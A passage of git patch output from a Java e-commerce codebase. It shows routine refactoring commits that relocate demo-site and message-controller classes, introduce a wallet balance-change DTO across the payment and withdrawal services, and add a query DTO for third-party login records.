ServiceImpl implements */ @Autowired private GoodsService goodsService; - /** - * 商品SKU - */ - @Autowired - private GoodsSkuService goodsSkuService; /** * 店铺详情 */ @Autowired private StoreDetailService storeDetailService; - /** - * 店铺收藏 - */ - @Autowired - private StoreCollectionService storeCollectionService; @Override public IPage findByConditionPage(StoreSearchParams storeSearchParams, PageVO page) { diff --git a/framework/src/main/java/cn/lili/modules/system/aspect/annotation/DemoSite.java b/framework/src/main/java/cn/lili/modules/system/aspect/annotation/DemoSite.java deleted file mode 100644 index b522aee2..00000000 --- a/framework/src/main/java/cn/lili/modules/system/aspect/annotation/DemoSite.java +++ /dev/null @@ -1,18 +0,0 @@ -package cn.lili.modules.system.aspect.annotation; - -import java.lang.annotation.*; - -/** - * 演示站点注解 - * - * @author Bulbasaur - * @since 2021/7/9 1:40 上午 - */ -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -@Inherited -public @interface DemoSite { - - -} diff --git a/framework/src/main/java/cn/lili/modules/system/aspect/interceptor/DemoInterceptor.java b/framework/src/main/java/cn/lili/modules/system/aspect/interceptor/DemoInterceptor.java deleted file mode 100644 index 3a6fc434..00000000 --- a/framework/src/main/java/cn/lili/modules/system/aspect/interceptor/DemoInterceptor.java +++ /dev/null @@ -1,34 +0,0 @@ -package cn.lili.modules.system.aspect.interceptor; - -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.SystemSettingProperties; -import cn.lili.modules.system.aspect.annotation.DemoSite; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Component; - -/** - * 演示站点拦截 - * DemoInterceptor - * - * @author Chopper - * @version v1.0 - * 2021-05-12 17:55 - */ -@Component -@Aspect -public class DemoInterceptor { - - @Autowired - private SystemSettingProperties systemSettingProperties; - - @Before("@annotation(demoSite)") - public void doAfter(DemoSite demoSite) { - if (systemSettingProperties.getIsDemoSite()) { - throw new ServiceException(ResultCode.DEMO_SITE_EXCEPTION); - } - } - -} diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java index 6daf5c1d..7038b408 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java @@ -9,7 +9,7 @@ import cn.lili.modules.member.entity.dto.MemberAddDTO; import cn.lili.modules.member.entity.vo.MemberSearchVO; import cn.lili.modules.member.entity.vo.MemberVO; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/member/MemberMessageManagerController.java rename to manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java index 9ad3c74e..4f8d8427 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/MemberMessageManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeLogManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/member/MemberNoticeLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/message/MemberNoticeLogManagerController.java index 57f29a74..e5d957a5 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.mybatis.util.PageUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java rename to manager-api/src/main/java/cn/lili/controller/message/MemberNoticeManagerController.java index 2c3b44a3..30e74871 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeSenterManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeSenterManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/member/MemberNoticeSenterManagerController.java rename to manager-api/src/main/java/cn/lili/controller/message/MemberNoticeSenterManagerController.java index 312852dd..1f48f58a 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeSenterManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/MemberNoticeSenterManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.mybatis.util.PageUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/store/BillManagerController.java b/manager-api/src/main/java/cn/lili/controller/store/BillManagerController.java index d6f08dda..128cbe18 100644 --- a/manager-api/src/main/java/cn/lili/controller/store/BillManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/store/BillManagerController.java @@ -4,6 +4,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.store.entity.dos.Bill; import cn.lili.modules.store.entity.dto.BillSearchParams; import cn.lili.modules.store.entity.vos.BillListVO; @@ -31,6 +32,9 @@ public class BillManagerController { @Autowired private BillService billService; + @Autowired + private StoreFlowService storeFlowService; + @ApiOperation(value = "通过id获取结算单") @ApiImplicitParam(name = "id", value = "结算单ID", required = true, paramType = "path") @GetMapping(value = "/get/{id}") @@ -51,7 +55,7 @@ public class BillManagerController { }) @GetMapping(value = "/{id}/getStoreFlow") public ResultMessage> getStoreFlow(@PathVariable String id, String flowType, PageVO pageVO) { - return ResultUtil.data(billService.getStoreFlow(id, flowType, pageVO)); + return ResultUtil.data(storeFlowService.getStoreFlow(id, flowType, pageVO)); } @ApiOperation(value = "支付结算单") diff --git a/seller-api/src/main/java/cn/lili/controller/settings/StoreMessageController.java b/seller-api/src/main/java/cn/lili/controller/message/StoreMessageController.java similarity index 99% rename from seller-api/src/main/java/cn/lili/controller/settings/StoreMessageController.java rename to seller-api/src/main/java/cn/lili/controller/message/StoreMessageController.java index 679b7636..7a641632 100644 --- a/seller-api/src/main/java/cn/lili/controller/settings/StoreMessageController.java +++ b/seller-api/src/main/java/cn/lili/controller/message/StoreMessageController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.settings; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java b/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java index 7b6101f0..1fceef4b 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/trade/BillStoreController.java @@ -6,6 +6,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.store.entity.dos.Bill; import cn.lili.modules.store.entity.dto.BillSearchParams; import cn.lili.modules.store.entity.vos.BillListVO; @@ -36,6 +37,9 @@ public class BillStoreController { @Autowired private BillService billService; + @Autowired + private StoreFlowService storeFlowService; + @ApiOperation(value = "获取结算单分页") @GetMapping(value = "/getByPage") public ResultMessage> getByPage(BillSearchParams billSearchParams) { @@ -59,7 +63,7 @@ public class BillStoreController { @GetMapping(value = "/{id}/getStoreFlow") public ResultMessage> getStoreFlow(@PathVariable String id, String flowType, PageVO pageVO) { OperationalJudgment.judgment(billService.getById(id)); - return ResultUtil.data(billService.getStoreFlow(id, flowType, pageVO)); + return ResultUtil.data(storeFlowService.getStoreFlow(id, flowType, pageVO)); } @ApiOperation(value = "获取商家分销订单流水分页") @@ -69,7 +73,7 @@ public class BillStoreController { @GetMapping(value = "/{id}/getDistributionFlow") public ResultMessage> getDistributionFlow(@PathVariable String id, PageVO pageVO) { OperationalJudgment.judgment(billService.getById(id)); - return ResultUtil.data(billService.getDistributionFlow(id, pageVO)); + return ResultUtil.data(storeFlowService.getDistributionFlow(id, pageVO)); } @ApiOperation(value = "核对结算单") @@ -81,13 +85,13 @@ public class BillStoreController { return ResultUtil.success(); } - @ApiOperation(value = "下载结算单",produces="application/octet-stream") + @ApiOperation(value = "下载结算单", produces = "application/octet-stream") @ApiImplicitParam(name = "id", value = "结算单ID", required = true, paramType = "path", dataType = "String") @GetMapping(value = "/downLoad/{id}") public void downLoadDeliverExcel(@PathVariable String id) { OperationalJudgment.judgment(billService.getById(id)); HttpServletResponse response = ThreadContextHolder.getHttpResponse(); - billService.download(response,id); + billService.download(response, id); } From c224ad568e245af7a8d33803f72382cef697db17 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 1 Dec 2021 09:58:21 +0800 Subject: [PATCH 028/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E8=A7=84=E8=8C=83?= =?UTF-8?q?=E4=BD=99=E9=A2=9D=E7=9B=B8=E5=85=B3=E6=A8=A1=E5=9E=8B=E4=BC=A0?= =?UTF-8?q?=E9=80=92=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../DistributionCashServiceImpl.java | 3 +- .../kit/plugin/wallet/WalletPlugin.java | 31 ++++++----- .../modules/wallet/entity/dos/WalletLog.java | 32 ++++++++--- .../entity/dto/MemberWalletUpdateDTO.java | 30 ++++++++++ .../wallet/service/MemberWalletService.java | 44 +++++---------- .../serviceimpl/MemberWalletServiceImpl.java | 55 ++++++++++--------- .../MemberWithdrawApplyServiceImpl.java | 7 ++- .../serviceimpl/RechargeServiceImpl.java | 3 +- 8 files changed, 122 insertions(+), 83 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWalletUpdateDTO.java diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java index 76c48943..5cd142cc 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.distribution.serviceimpl; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.MemberTagsEnum; @@ -130,7 +131,7 @@ public class DistributionCashServiceImpl extends ServiceImpl nativePay(HttpServletRequest request, PayParam payParam) { - if(payParam.getOrderType().equals(CashierEnum.RECHARGE.name())){ + if (payParam.getOrderType().equals(CashierEnum.RECHARGE.name())) { throw new ServiceException(ResultCode.CAN_NOT_RECHARGE_WALLET); } savePaymentLog(payParam); @@ -95,14 +96,14 @@ public class WalletPlugin implements Payment { public void cancel(RefundLog refundLog) { try { - memberWalletService.increase(refundLog.getTotalAmount(), + memberWalletService.increase(new MemberWalletUpdateDTO(refundLog.getTotalAmount(), refundLog.getMemberId(), "取消[" + refundLog.getOrderSn() + "]订单,退还金额[" + refundLog.getTotalAmount() + "]", - DepositServiceTypeEnum.WALLET_REFUND.name()); + DepositServiceTypeEnum.WALLET_REFUND.name())); refundLog.setIsRefund(true); refundLogService.save(refundLog); } catch (Exception e) { - log.error("订单取消错误",e); + log.error("订单取消错误", e); } } @@ -120,13 +121,14 @@ public class WalletPlugin implements Payment { @Override public void refund(RefundLog refundLog) { try { - memberWalletService.increase(refundLog.getTotalAmount(), + memberWalletService.increase(new MemberWalletUpdateDTO(refundLog.getTotalAmount(), refundLog.getMemberId(), - "售后[" + refundLog.getAfterSaleNo() + "]审批,退还金额[" + refundLog.getTotalAmount() + "]", DepositServiceTypeEnum.WALLET_REFUND.name()); + "售后[" + refundLog.getAfterSaleNo() + "]审批,退还金额[" + refundLog.getTotalAmount() + "]", + DepositServiceTypeEnum.WALLET_REFUND.name())); refundLog.setIsRefund(true); refundLogService.save(refundLog); } catch (Exception e) { - log.error("退款失败",e); + log.error("退款失败", e); } } @@ -143,11 +145,12 @@ public class WalletPlugin implements Payment { if (UserContext.getCurrentUser() == null) { throw new ServiceException(ResultCode.USER_NOT_LOGIN); } - boolean result = memberWalletService.reduce( - cashierParam.getPrice(), - UserContext.getCurrentUser().getId(), - "订单[" + cashierParam.getOrderSns() + "]支付金额[" + cashierParam.getPrice() + "]", - DepositServiceTypeEnum.WALLET_PAY.name() + boolean result = memberWalletService.reduce(new MemberWalletUpdateDTO( + cashierParam.getPrice(), + UserContext.getCurrentUser().getId(), + "订单[" + cashierParam.getOrderSns() + "]支付金额[" + cashierParam.getPrice() + "]", + DepositServiceTypeEnum.WALLET_PAY.name() + ) ); if (result) { try { @@ -162,11 +165,11 @@ public class WalletPlugin implements Payment { log.info("支付回调通知:余额支付:{}", payParam); } catch (ServiceException e) { //业务异常,则支付手动回滚 - memberWalletService.increase( + memberWalletService.increase(new MemberWalletUpdateDTO( cashierParam.getPrice(), UserContext.getCurrentUser().getId(), "订单[" + cashierParam.getOrderSns() + "]支付异常,余额返还[" + cashierParam.getPrice() + "]", - DepositServiceTypeEnum.WALLET_REFUND.name() + DepositServiceTypeEnum.WALLET_REFUND.name()) ); throw e; } diff --git a/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java index 9f856ed0..60185153 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dos/WalletLog.java @@ -1,5 +1,6 @@ package cn.lili.modules.wallet.entity.dos; +import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.FieldFill; @@ -64,17 +65,30 @@ public class WalletLog extends BaseIdEntity { /** * 构建新的预存款日志对象 * - * @param memberId 会员id - * @param memberName 会员名称 - * @param money 金额 - * @param detail 备注 + * @param memberName 会员名称 + * @param memberWalletUpdateDTO 变动模型 */ - public WalletLog(String memberId, String memberName, Double money, String detail, String serviceType) { - this.setMemberId(memberId); + public WalletLog(String memberName, MemberWalletUpdateDTO memberWalletUpdateDTO) { + this.setMemberId(memberWalletUpdateDTO.getMemberId()); this.setMemberName(memberName); - this.setMoney(money); - this.setDetail(detail); - this.setServiceType(serviceType); + this.setMoney(memberWalletUpdateDTO.getMoney()); + this.setDetail(memberWalletUpdateDTO.getDetail()); + this.setServiceType(memberWalletUpdateDTO.getServiceType()); + } + + /** + * 构建新的预存款日志对象 + * + * @param memberName 会员名称 + * @param memberWalletUpdateDTO 变动模型 + * @param isReduce 是否是消费 + */ + public WalletLog(String memberName, MemberWalletUpdateDTO memberWalletUpdateDTO, boolean isReduce) { + this.setMemberId(memberWalletUpdateDTO.getMemberId()); + this.setMemberName(memberName); + this.setMoney(isReduce ? -memberWalletUpdateDTO.getMoney() : memberWalletUpdateDTO.getMoney()); + this.setDetail(memberWalletUpdateDTO.getDetail()); + this.setServiceType(memberWalletUpdateDTO.getServiceType()); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWalletUpdateDTO.java b/framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWalletUpdateDTO.java new file mode 100644 index 00000000..70d18c86 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/wallet/entity/dto/MemberWalletUpdateDTO.java @@ -0,0 +1,30 @@ +package cn.lili.modules.wallet.entity.dto; + +import io.swagger.annotations.ApiModelProperty; +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * 会员余额变动模型 + * + * @author Chopper + * @version v1.0 + * 2021-12-01 09:35 + */ +@Data +@AllArgsConstructor +public class MemberWalletUpdateDTO { + + @ApiModelProperty(value = "变动金额") + private Double money; + @ApiModelProperty(value = "变动会员id") + private String memberId; + @ApiModelProperty(value = "日志详情") + private String detail; + + /** + * @see cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum + */ + @ApiModelProperty(value = "变动业务原因") + private String serviceType; +} diff --git a/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java index a11cde3e..99334fd3 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java +++ b/framework/src/main/java/cn/lili/modules/wallet/service/MemberWalletService.java @@ -4,6 +4,7 @@ package cn.lili.modules.wallet.service; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.wallet.entity.dos.MemberWallet; import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; import cn.lili.modules.wallet.entity.vo.MemberWalletVO; import com.baomidou.mybatisplus.extension.service.IService; @@ -26,57 +27,42 @@ public interface MemberWalletService extends IService { /** * 增加用户预存款余额 * - * @param money 金额 - * @param memberId 会员id - * @param serviceType 业务类型 @see DepositServiceTypeEnum - * @param detail 操作描述 - * @return 返回增加结果 true:增加成功 false:增加失败 + * @param memberWalletUpdateDTO 变动模型 + * @return 返回增加结果 true:成功 false:失败 */ - Boolean increase(Double money, String memberId, String detail, String serviceType); + Boolean increase(MemberWalletUpdateDTO memberWalletUpdateDTO); /** * 从冻结金额到余额 * - * @param money 金额 - * @param memberId 会员id - * @param serviceType 业务类型 @see DepositServiceTypeEnum - * @param detail 操作描述 - * @return 返回增加结果 true:增加成功 false:增加失败 + * @param memberWalletUpdateDTO 变动模型 + * @return 返回冻结结果 true:成功 false:失败 */ - Boolean increaseWithdrawal(Double money, String memberId, String detail, String serviceType); + Boolean increaseWithdrawal(MemberWalletUpdateDTO memberWalletUpdateDTO); /** * 扣减用户预存款余额 * - * @param money 金额 - * @param memberId 会员id - * @param detail 操作描述 - * @param serviceType 业务类型 @see DepositServiceTypeEnum - * @return 操作状态 + * @param memberWalletUpdateDTO 变动模型 + * @return 操作状态 true:成功 false:失败 */ - Boolean reduce(Double money, String memberId, String detail, String serviceType); + Boolean reduce(MemberWalletUpdateDTO memberWalletUpdateDTO); /** * 提现扣减余额到冻结金额 * - * @param money 金额 - * @param memberId 会员id - * @param detail 操作描述 - * @param serviceType 业务类型 @see DepositServiceTypeEnum - * @return 操作状态 + * @param memberWalletUpdateDTO 变动模型 + * @return 操作状态 true:成功 false:失败 */ - Boolean reduceWithdrawal(Double money, String memberId, String detail, String serviceType); + Boolean reduceWithdrawal(MemberWalletUpdateDTO memberWalletUpdateDTO); /** * 提现扣减冻结金额 * - * @param money 金额 - * @param memberId 会员id - * @param detail 操作描述 - * @param serviceType 类型 + * @param memberWalletUpdateDTO 变动模型 * @return 操作状态 */ - Boolean reduceFrozen(Double money, String memberId, String detail, String serviceType); + Boolean reduceFrozen(MemberWalletUpdateDTO memberWalletUpdateDTO); /** * 设置支付密码 diff --git a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java index 8c9ef0dc..13bbc2fa 100644 --- a/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWalletServiceImpl.java @@ -12,6 +12,7 @@ import cn.lili.common.utils.StringUtils; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.wallet.entity.dos.MemberWallet; import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; @@ -94,82 +95,82 @@ public class MemberWalletServiceImpl extends ServiceImpl CurrencyUtil.sub(memberWallet.getMemberWallet(), money)) { + if (0 > CurrencyUtil.sub(memberWallet.getMemberWallet(), memberWalletUpdateDTO.getMoney())) { return false; } - memberWallet.setMemberWallet(CurrencyUtil.sub(memberWallet.getMemberWallet(), money)); + memberWallet.setMemberWallet(CurrencyUtil.sub(memberWallet.getMemberWallet(), memberWalletUpdateDTO.getMoney())); //保存记录 this.updateById(memberWallet); //新增预存款日志 - WalletLog walletLog = new WalletLog(memberWallet.getMemberId(), memberWallet.getMemberName(), -money, detail, serviceType); + WalletLog walletLog = new WalletLog(memberWallet.getMemberName(), memberWalletUpdateDTO, true); walletLogService.save(walletLog); return true; } @Override - public Boolean reduceWithdrawal(Double money, String memberId, String detail, String serviceType) { + public Boolean reduceWithdrawal(MemberWalletUpdateDTO memberWalletUpdateDTO) { //检测会员预存款讯息是否存在,如果不存在则新建 - MemberWallet memberWallet = this.checkMemberWallet(memberId); + MemberWallet memberWallet = this.checkMemberWallet(memberWalletUpdateDTO.getMemberId()); //减少预存款,需要校验 如果不够扣减预存款 - if (0 > CurrencyUtil.sub(memberWallet.getMemberWallet(), money)) { + if (0 > CurrencyUtil.sub(memberWallet.getMemberWallet(), memberWalletUpdateDTO.getMoney())) { throw new ServiceException(ResultCode.WALLET_WITHDRAWAL_INSUFFICIENT); } - memberWallet.setMemberWallet(CurrencyUtil.sub(memberWallet.getMemberWallet(), money)); - memberWallet.setMemberFrozenWallet(CurrencyUtil.add(memberWallet.getMemberFrozenWallet(), money)); + memberWallet.setMemberWallet(CurrencyUtil.sub(memberWallet.getMemberWallet(), memberWalletUpdateDTO.getMoney())); + memberWallet.setMemberFrozenWallet(CurrencyUtil.add(memberWallet.getMemberFrozenWallet(), memberWalletUpdateDTO.getMoney())); //修改余额 this.updateById(memberWallet); //新增预存款日志 - WalletLog walletLog = new WalletLog(memberWallet.getMemberId(), memberWallet.getMemberName(), -money, detail, serviceType); + WalletLog walletLog = new WalletLog(memberWallet.getMemberName(), memberWalletUpdateDTO, true); walletLogService.save(walletLog); return true; } @Override - public Boolean reduceFrozen(Double money, String memberId, String detail, String serviceType) { + public Boolean reduceFrozen(MemberWalletUpdateDTO memberWalletUpdateDTO) { //检测会员预存款讯息是否存在,如果不存在则新建 - MemberWallet memberWallet = this.checkMemberWallet(memberId); + MemberWallet memberWallet = this.checkMemberWallet(memberWalletUpdateDTO.getMemberId()); //校验此金额是否超过冻结金额 - if (0 > CurrencyUtil.sub(memberWallet.getMemberWallet(), money)) { + if (0 > CurrencyUtil.sub(memberWallet.getMemberWallet(), memberWalletUpdateDTO.getMoney())) { throw new ServiceException(ResultCode.WALLET_WITHDRAWAL_INSUFFICIENT); } - memberWallet.setMemberFrozenWallet(CurrencyUtil.sub(memberWallet.getMemberFrozenWallet(), money)); + memberWallet.setMemberFrozenWallet(CurrencyUtil.sub(memberWallet.getMemberFrozenWallet(), memberWalletUpdateDTO.getMoney())); this.updateById(memberWallet); //新增预存款日志 - WalletLog walletLog = new WalletLog(memberWallet.getMemberId(), memberWallet.getMemberName(), -money, "提现金额已冻结,审核通过提现成功", serviceType); + WalletLog walletLog = new WalletLog(memberWallet.getMemberName(), memberWalletUpdateDTO, true); walletLogService.save(walletLog); return true; } @@ -273,12 +274,12 @@ public class MemberWalletServiceImpl extends ServiceImpl i //执行保存操作 this.updateById(recharge); //增加预存款余额 - memberWalletService.increase(recharge.getRechargeMoney(), recharge.getMemberId(), "会员余额充值,充值单号为:" + recharge.getRechargeSn(), DepositServiceTypeEnum.WALLET_RECHARGE.name()); + memberWalletService.increase(new MemberWalletUpdateDTO(recharge.getRechargeMoney(), recharge.getMemberId(), "会员余额充值,充值单号为:" + recharge.getRechargeSn(), DepositServiceTypeEnum.WALLET_RECHARGE.name())); } } From b0d39324ef9e2c8ec73fdecc0fd92fe5a5658eff Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 1 Dec 2021 15:21:43 +0800 Subject: [PATCH 029/145] =?UTF-8?q?=E8=81=94=E5=90=88=E7=99=BB=E9=99=86?= =?UTF-8?q?=E4=BF=A1=E6=81=AF=E6=9F=A5=E8=AF=A2=E4=BB=A3=E7=A0=81=E4=BC=98?= =?UTF-8?q?=E5=8C=96=EF=BC=8C=E6=9B=B4=E4=BC=98=E9=9B=85=E7=9A=84=E5=AE=9E?= =?UTF-8?q?=E7=8E=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../connect/service/ConnectService.java | 9 +++++ .../serviceimpl/ConnectServiceImpl.java | 11 +++++++ .../member/entity/dto/ConnectQueryDTO.java | 33 +++++++++++++++++++ .../member/serviceimpl/MemberServiceImpl.java | 27 +++++++-------- .../message/util/WechatMessageUtil.java | 17 ++++------ .../kit/plugin/wechat/WechatPlugin.java | 15 ++++----- 6 files changed, 78 insertions(+), 34 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/member/entity/dto/ConnectQueryDTO.java diff --git a/framework/src/main/java/cn/lili/modules/connect/service/ConnectService.java b/framework/src/main/java/cn/lili/modules/connect/service/ConnectService.java index 7a33b102..6df3b143 100644 --- a/framework/src/main/java/cn/lili/modules/connect/service/ConnectService.java +++ b/framework/src/main/java/cn/lili/modules/connect/service/ConnectService.java @@ -5,6 +5,7 @@ import cn.lili.common.security.token.Token; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.dto.ConnectAuthUser; import cn.lili.modules.connect.entity.dto.WechatMPLoginParams; +import cn.lili.modules.member.entity.dto.ConnectQueryDTO; import com.baomidou.mybatisplus.extension.service.IService; import javax.naming.NoPermissionException; @@ -103,4 +104,12 @@ public interface ConnectService extends IService { * @return token */ Token miniProgramAutoLogin(WechatMPLoginParams params); + + /** + * 根据查询dto获取查询对象 + * + * @param connectQueryDTO + * @return + */ + Connect queryConnect(ConnectQueryDTO connectQueryDTO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java index d5e03307..0d0b1ab2 100644 --- a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java @@ -21,6 +21,7 @@ import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.mapper.ConnectMapper; import cn.lili.modules.connect.service.ConnectService; import cn.lili.modules.member.entity.dos.Member; +import cn.lili.modules.member.entity.dto.ConnectQueryDTO; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.member.token.MemberTokenGenerate; import cn.lili.modules.system.entity.dos.Setting; @@ -232,6 +233,16 @@ public class ConnectServiceImpl extends ServiceImpl impl return memberTokenGenerate.createToken(newMember.getUsername(), true); } + @Override + public Connect queryConnect(ConnectQueryDTO connectQueryDTO) { + + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(StringUtils.isNotEmpty(connectQueryDTO.getUserId()), Connect::getUserId, connectQueryDTO.getUserId()) + .eq(StringUtils.isNotEmpty(connectQueryDTO.getUnionType()), Connect::getUnionType, connectQueryDTO.getUnionType()) + .eq(StringUtils.isNotEmpty(connectQueryDTO.getUnionId()), Connect::getUnionId, connectQueryDTO.getUnionId()); + return this.getOne(queryWrapper); + } + /** * 会员绑定 绑定微信小程序 *

diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dto/ConnectQueryDTO.java b/framework/src/main/java/cn/lili/modules/member/entity/dto/ConnectQueryDTO.java new file mode 100644 index 00000000..17f4877a --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/member/entity/dto/ConnectQueryDTO.java @@ -0,0 +1,33 @@ +package cn.lili.modules.member.entity.dto; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; + +/** + * ConnectQueryDTO + * + * @author Chopper + * @version v1.0 + * 2021-12-01 14:34 + */ +@Data +@Builder +public class ConnectQueryDTO { + + /** + * 用户id + */ + private String userId; + + /** + * 第三方id + */ + private String unionId; + + /** + * 联合登陆类型 + */ + private String unionType; + +} diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index d536a224..5960e1ce 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ 